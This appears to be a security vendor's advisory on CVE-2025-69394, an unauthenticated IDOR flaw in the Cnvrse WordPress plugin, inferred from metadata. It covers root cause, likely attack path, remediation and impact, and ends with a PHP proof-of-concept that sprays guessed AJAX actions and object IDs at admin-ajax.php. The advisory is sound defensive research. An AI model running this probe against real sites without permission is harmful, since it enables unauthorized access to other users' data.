Atomic Edge analysis of CVE-2025-69394 (metadata-based):
This vulnerability is an unauthenticated Insecure Direct Object Reference (IDOR) in the Cnvrse WordPress plugin, affecting all versions up to and including 026.02.10.20. The vulnerability stems from missing authorization validation on a user-controlled key, allowing attackers to perform unauthorized actions without authentication.
Atomic Edge research identifies the root cause as a classic CWE-639 (Authorization Bypass Through User-Controlled Key) implementation flaw. The plugin likely exposes an AJAX endpoint, REST API route, or direct file handler that accepts an object identifier parameter (such as a post ID, user ID, or file ID) without verifying the requesting user’s authorization to access that specific object. This inference is based on the CWE classification and the description’s mention of a ‘user controlled key.’ Without source code access, this remains a logical deduction from the metadata rather than a confirmed code observation.
Exploitation involves identifying the vulnerable endpoint and parameter. Based on WordPress plugin patterns, the attack vector is likely an AJAX action accessible via /wp-admin/admin-ajax.php. An attacker would send a crafted HTTP request with the action parameter set to a Cnvrse-specific hook (e.g., action=cnvrse_action) and a user-controlled key parameter (e.g., item_id, user_id, or file_id). The attacker manipulates this key to reference objects belonging to other users. Since the vulnerability is unauthenticated, no valid nonce or session cookie is required.
Remediation requires implementing proper authorization checks before processing any request involving object identifiers. The plugin must validate that the current user (or unauthenticated visitor) has explicit permission to access or modify the object referenced by the user-supplied key. This typically involves adding capability checks (current_user_can()), ownership verification, or implementing a direct object reference map that ties identifiers to authorized sessions. The fix should also consider adding nonce verification for state-changing actions.
The impact is limited to unauthorized actions, with no confidentiality or availability loss according to the CVSS vector (C:N/A:N). The integrity impact is low (I:L). Successful exploitation could allow attackers to view, modify, or delete data they should not access, such as private user information, draft content, or plugin-specific objects. The exact scope depends on the functionality exposed by the vulnerable endpoint.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69394 - Cnvrse <= 026.02.10.20 - Unauthenticated Insecure Direct Object Reference
<?php
/**
* Proof of Concept for CVE-2025-69394.
* ASSUMPTIONS (based on metadata):
* 1. The plugin exposes an AJAX endpoint via admin-ajax.php.
* 2. The endpoint accepts a user-controlled key parameter (e.g., 'id', 'item_id', 'key').
* 3. No authentication or authorization checks are performed on that key.
* 4. The exact action name and parameter name are unknown; common patterns are used.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX action patterns for the 'cnvrse' plugin slug
$possible_actions = ['cnvrse_get_item', 'cnvrse_action', 'cnvrse_process', 'cnvrse_update'];
// Common parameter names for the user-controlled key
$possible_key_params = ['id', 'item_id', 'key', 'object_id', 'record_id'];
// Test values for the key (attempting to access object #1, often belonging to admin)
$test_key_values = [1, 100, 999];
foreach ($possible_actions as $action) {
foreach ($possible_key_params as $param) {
foreach ($test_key_values as $key_value) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => $action,
$param => $key_value
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for signs of successful unauthorized access
// A non-error response (HTTP 200) with data may indicate vulnerability
if ($http_code == 200 && !empty($response) && stripos($response, 'error') === false) {
echo "[POTENTIAL VULNERABILITY] Action: $action, Param: $param, Key: $key_valuen";
echo "Response: " . substr($response, 0, 500) . "nn";
}
}
}
}
?>
